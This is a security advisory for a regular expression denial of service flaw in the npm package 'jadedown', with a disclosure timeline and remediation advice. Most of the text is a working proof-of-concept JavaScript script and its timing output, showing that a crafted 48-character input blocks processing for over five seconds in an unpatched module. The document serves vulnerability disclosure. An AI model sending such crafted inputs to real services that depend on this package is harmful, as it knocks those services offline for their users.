Regular Expression Denial of Service

Module: jadedown

Published: January 5th, 2016

Reported by: Adam Baldwin

CVE-NONE

CWE-400

Vulnerable: All
Patched: None

Overview

The jadedown package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.

Proof of concept

var jadedown = require('jadedown');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = genstr(i, 'f') + genstr(i, '#') + '{';
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    jadedown(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results demonstrating blocking for 5 seconds using only 48 characters.

$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]

Timeline

  • October 24, 2015 - Vulnerability Identified
  • October 24, 2015 - Maintainers Notified
  • October 25, 2015 - Response from Maintainers with intent to fix
  • January 5, 2016 - Advisory Published
  • January 11, 2016 - CVE Requested

Remediation

This package is not actively maintained, and has not seen an update since 2011.

The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.